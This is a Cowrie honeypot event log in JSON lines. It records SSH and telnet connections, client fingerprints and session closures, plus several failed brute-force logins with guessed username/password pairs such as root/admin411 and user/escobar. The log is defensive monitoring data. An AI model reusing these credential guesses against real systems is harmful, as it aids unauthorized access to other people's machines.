{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:19:16.557618Z","src_ip":"2.57.121.25","session":"2f91a02aa4a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.248.46.74","src_port":59874,"dst_ip":"159.203.135.109","dst_port":23,"session":"03bfb57da903","protocol":"telnet","message":"New connection: 104.248.46.74:59874 (159.203.135.109:23) [session: 03bfb57da903]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:19:16.719130Z"}
{"eventid":"cowrie.login.failed","username":"user","password":"essence","message":"login attempt [user/essence] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:19:17.036954Z","src_ip":"2.57.121.25","session":"2f91a02aa4a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.252.221.197","src_port":43314,"dst_ip":"159.203.135.109","dst_port":23,"session":"fd793c7989ef","protocol":"telnet","message":"New connection: 80.252.221.197:43314 (159.203.135.109:23) [session: fd793c7989ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:19:17.660444Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":35226,"dst_ip":"159.203.135.109","dst_port":23,"session":"8ca689916ede","protocol":"telnet","message":"New connection: 103.137.231.186:35226 (159.203.135.109:23) [session: 8ca689916ede]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:19:17.688870Z"}
{"eventid":"cowrie.login.failed","username":"user","password":"escobar","message":"login attempt [user/escobar] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:19:18.140545Z","src_ip":"2.57.121.25","session":"2f91a02aa4a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"error","message":"login attempt [user/error] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:19:19.244283Z","src_ip":"2.57.121.25","session":"2f91a02aa4a6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:19:19.278692Z","src_ip":"45.78.194.242","session":"46eabffddc9e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"46.4","message":"Connection lost after 46.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:19:19.286248Z","src_ip":"45.78.194.242","session":"46eabffddc9e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"ericka","message":"login attempt [user/ericka] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:19:20.348316Z","src_ip":"2.57.121.25","session":"2f91a02aa4a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"edmund","message":"login attempt [user/edmund] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:19:21.451847Z","src_ip":"2.57.121.25","session":"2f91a02aa4a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.88047981262207,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:19:21.782719Z","src_ip":"103.137.231.186","session":"1366d7a5e3ec","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:19:22.554816Z","src_ip":"2.57.121.25","session":"2f91a02aa4a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.872655630111694,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:19:23.156510Z","src_ip":"103.137.231.186","session":"735439ec6e39","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.992741107940674,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:19:23.204405Z","src_ip":"103.137.231.186","session":"a8150e0a1329","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.248.46.74","src_port":33688,"dst_ip":"159.203.135.109","dst_port":23,"session":"3af2741b7f29","protocol":"telnet","message":"New connection: 104.248.46.74:33688 (159.203.135.109:23) [session: 3af2741b7f29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:19:24.328275Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":59462,"dst_ip":"10.17.0.5","dst_port":23,"session":"92402f475785","protocol":"telnet","message":"New connection: 159.203.13.64:59462 (10.17.0.5:23) [session: 92402f475785]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:19:24.583944Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":40724,"dst_ip":"159.203.135.109","dst_port":22,"session":"ea2f5a0709e4","protocol":"ssh","message":"New connection: 159.203.92.129:40724 (159.203.135.109:22) [session: ea2f5a0709e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:19:30.039467Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:19:30.046334Z","src_ip":"159.203.92.129","session":"ea2f5a0709e4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:19:30.057098Z","src_ip":"159.203.92.129","session":"ea2f5a0709e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amanda","password":"amanda","message":"login attempt [amanda/amanda] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:19:30.081109Z","src_ip":"159.203.92.129","session":"ea2f5a0709e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:19:31.089056Z","src_ip":"159.203.92.129","session":"ea2f5a0709e4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":42314,"dst_ip":"159.203.135.109","dst_port":23,"session":"7321a038eed2","protocol":"telnet","message":"New connection: 103.137.231.186:42314 (159.203.135.109:23) [session: 7321a038eed2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:19:31.152841Z"}
{"eventid":"cowrie.session.closed","duration":30.976683616638184,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:19:34.673707Z","src_ip":"103.137.231.186","session":"a44441eeeea5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.429014682769775,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:19:36.341249Z","src_ip":"103.137.231.186","session":"923d729bc7f5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":37320,"dst_ip":"10.17.0.5","dst_port":23,"session":"19e21a646d70","protocol":"telnet","message":"New connection: 159.203.13.64:37320 (10.17.0.5:23) [session: 19e21a646d70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:19:39.551776Z"}
{"eventid":"cowrie.session.closed","duration":31.64987826347351,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:19:39.763773Z","src_ip":"103.137.231.186","session":"148224c8d8c3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.346580028533936,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:19:40.778398Z","src_ip":"103.137.231.186","session":"317c03b82227","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.371642112731934,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:19:41.152725Z","src_ip":"103.137.231.186","session":"d19596a91f13","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.82.116.131","src_port":58364,"dst_ip":"159.203.135.109","dst_port":23,"session":"5bfa46ffbf12","protocol":"telnet","message":"New connection: 208.82.116.131:58364 (159.203.135.109:23) [session: 5bfa46ffbf12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:19:42.032642Z"}
{"eventid":"cowrie.session.closed","duration":36.6287202835083,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:19:42.541405Z","src_ip":"159.203.13.64","session":"e266f245db5e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.978986263275146,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:19:43.255650Z","src_ip":"103.137.231.186","session":"24a277fe4578","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":60532,"dst_ip":"10.17.0.5","dst_port":23,"session":"3055a567abeb","protocol":"telnet","message":"New connection: 159.203.13.64:60532 (10.17.0.5:23) [session: 3055a567abeb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:19:43.610648Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":58606,"dst_ip":"159.203.135.109","dst_port":23,"session":"8bf8e3bf993c","protocol":"telnet","message":"New connection: 103.137.231.186:58606 (159.203.135.109:23) [session: 8bf8e3bf993c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:19:46.970734Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.248.46.74","src_port":38604,"dst_ip":"159.203.135.109","dst_port":23,"session":"8f64ca7ec12e","protocol":"telnet","message":"New connection: 104.248.46.74:38604 (159.203.135.109:23) [session: 8f64ca7ec12e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:19:47.411723Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":58616,"dst_ip":"159.203.135.109","dst_port":23,"session":"f53efea758c4","protocol":"telnet","message":"New connection: 103.137.231.186:58616 (159.203.135.109:23) [session: f53efea758c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:19:47.915809Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.215.80.173","src_port":52284,"dst_ip":"159.203.135.109","dst_port":22,"session":"0aa68b7a20f3","protocol":"ssh","message":"New connection: 103.215.80.173:52284 (159.203.135.109:22) [session: 0aa68b7a20f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:19:48.276254Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:19:48.280601Z","src_ip":"103.215.80.173","session":"0aa68b7a20f3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:19:48.482483Z","src_ip":"103.215.80.173","session":"0aa68b7a20f3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin411","message":"login attempt [root/admin411] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:19:48.889406Z","src_ip":"103.215.80.173","session":"0aa68b7a20f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.256676197052002,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:19:48.945438Z","src_ip":"103.137.231.186","session":"8ca689916ede","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.813575983047485,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:19:50.106452Z","src_ip":"159.203.13.64","session":"b25123fa30de","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:19:50.201092Z","src_ip":"103.215.80.173","session":"0aa68b7a20f3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":42824,"dst_ip":"159.203.135.109","dst_port":23,"session":"cfaa11f0a5c9","protocol":"telnet","message":"New connection: 103.137.231.186:42824 (159.203.135.109:23) [session: cfaa11f0a5c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:19:50.817723Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":42838,"dst_ip":"159.203.135.109","dst_port":23,"session":"11e64a54f65d","protocol":"telnet","message":"New connection: 103.137.231.186:42838 (159.203.135.109:23) [session: 11e64a54f65d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:19:53.491411Z"}
{"eventid":"cowrie.session.closed","duration":37.20456862449646,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:19:53.599197Z","src_ip":"80.252.221.197","session":"f46c7fcea18c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":42852,"dst_ip":"159.203.135.109","dst_port":23,"session":"66a4ed1e64fa","protocol":"telnet","message":"New connection: 103.137.231.186:42852 (159.203.135.109:23) [session: 66a4ed1e64fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:19:53.797832Z"}
{"eventid":"cowrie.session.closed","duration":37.29472351074219,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:19:54.955063Z","src_ip":"80.252.221.197","session":"fd793c7989ef","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":42884,"dst_ip":"159.203.135.109","dst_port":23,"session":"d3e604946a41","protocol":"telnet","message":"New connection: 103.137.231.186:42884 (159.203.135.109:23) [session: d3e604946a41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:19:57.986087Z"}
{"eventid":"cowrie.session.closed","duration":33.83312702178955,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:19:58.161199Z","src_ip":"104.248.46.74","session":"3af2741b7f29","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.248.46.74","src_port":42620,"dst_ip":"159.203.135.109","dst_port":23,"session":"6ee6f5efbfaf","protocol":"telnet","message":"New connection: 104.248.46.74:42620 (159.203.135.109:23) [session: 6ee6f5efbfaf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:19:58.949907Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":59212,"dst_ip":"159.203.135.109","dst_port":23,"session":"e06e0e4757ef","protocol":"telnet","message":"New connection: 103.137.231.186:59212 (159.203.135.109:23) [session: e06e0e4757ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:20:00.388102Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":42872,"dst_ip":"159.203.135.109","dst_port":23,"session":"5805a5673510","protocol":"telnet","message":"New connection: 103.137.231.186:42872 (159.203.135.109:23) [session: 5805a5673510]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:20:00.980893Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":59222,"dst_ip":"159.203.135.109","dst_port":23,"session":"7a658ac1dcb3","protocol":"telnet","message":"New connection: 103.137.231.186:59222 (159.203.135.109:23) [session: 7a658ac1dcb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:20:01.268717Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":59238,"dst_ip":"159.203.135.109","dst_port":23,"session":"8770c843382e","protocol":"telnet","message":"New connection: 103.137.231.186:59238 (159.203.135.109:23) [session: 8770c843382e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:20:02.189142Z"}
{"eventid":"cowrie.session.closed","duration":45.49875545501709,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:20:02.217782Z","src_ip":"104.248.46.74","session":"03bfb57da903","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.210674047470093,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:20:02.363412Z","src_ip":"103.137.231.186","session":"7321a038eed2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":59264,"dst_ip":"159.203.135.109","dst_port":23,"session":"f1b7027f7f05","protocol":"telnet","message":"New connection: 103.137.231.186:59264 (159.203.135.109:23) [session: f1b7027f7f05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:20:03.078960Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":59278,"dst_ip":"159.203.135.109","dst_port":23,"session":"6aa3ad5e110b","protocol":"telnet","message":"New connection: 103.137.231.186:59278 (159.203.135.109:23) [session: 6aa3ad5e110b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:20:03.337039Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":59248,"dst_ip":"159.203.135.109","dst_port":23,"session":"17357561e7ca","protocol":"telnet","message":"New connection: 103.137.231.186:59248 (159.203.135.109:23) [session: 17357561e7ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:20:03.898805Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":59284,"dst_ip":"159.203.135.109","dst_port":23,"session":"e43d989af218","protocol":"telnet","message":"New connection: 103.137.231.186:59284 (159.203.135.109:23) [session: e43d989af218]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:20:04.668276Z"}
